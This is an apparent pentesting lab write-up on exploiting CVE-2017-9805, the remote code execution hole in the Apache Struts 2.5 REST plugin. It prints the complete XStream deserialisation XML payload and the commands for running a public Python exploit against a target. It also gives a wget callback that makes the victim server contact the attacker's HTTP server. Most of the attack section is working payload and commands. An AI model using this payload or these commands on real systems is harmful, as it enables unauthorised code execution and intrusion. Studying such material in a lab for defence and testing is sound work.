Exploiting Apache Struts2.5 REST Plugin Vulnerability

What is Apache Struts ?

Apache Struts is a free, open-source, MVC framework for creating modern Java web applications. It enables the developer to create maintainable, extensible, and flexible web applications based on standard technologies, such as JSP pages, JavaBeans, resource bundles, and XML.

About the Vulnerability :

The Apache Struts2.5 REST Plugin Vulnerability allow remote code execution on vulnerable server. This particular vulnerability is a result of unsafe de-serialisation in Java Struts REST plugin with the XStream handler when handling XML payloads received with a “Content-Type” set to “application/xml”. The version affected by this vulnerability is Apache Struts 2.5 < 2.5.12. The vulnerability has been assigned CVE-2017–9805 and is rated Critical.

Setting up Lab Environment To Test :

Download Apache Struts 2.5 from here : Download Link
Setup Apache tomcat server running on port 8080, and install the above App on it.

Or you can just use BasicPentesting2 VM to test this vulnerability. You can download it from here : Download Link

URL to access Apache struts App
 http://VM_IP_ADDRESS:8080/struts2-rest-showcase-2.5.12/orders/3

Exploitation :

The vulnerability can be triggered by sending a malicious XML POST payload with the “Content-Type” header set to “application/xml”. The XML Payload is :
 <map>
   <entry>
     <jdk.nashorn.internal.objects.NativeString>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
                         <string>os-command-here</string>
                       </command>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                   </filter>
                   <next></next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
             </is>
           </dataSource>
         </dataHandler>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

Where at line 14, the command is placed.

There is an exploit available from command execution : https://www.exploit-db.com/exploits/42627

Testing the vulnerability :

Attacker System IP : 192.168.56.1
Target Server IP : 192.168.56.103

We are going to use above python exploit to test the vulnerability :
 $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 "Command to execute"
Unfortunately the exploit does not return the output of the executed command, so to clarify the command execution we are going to start an HTTP serer on port 1234 and try to call that server through the Apache Struts Server and see the logs if it is called or not.

Start an HTTP Server on port 1234, i am using php interpreter
 php -S 192.168.56.1:1234
 PHP 7.2.24-0ubuntu0.18.04.1 Development Server started at Fri Dec 27 18:31:57 2019
 Listening on http://192.168.56.1:1234
 Document root is /home/ajay
 Press Ctrl-C to quit.
Now run the exploit :
 $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 "wget http://192.168.56.1:1234/Vulnerable"
And our local web server is called by the Apache Struts server, means we can ge remote code execution on the struts server.


To get a reverse shell on target server , checkout my BasicPentesting2 writeup : Link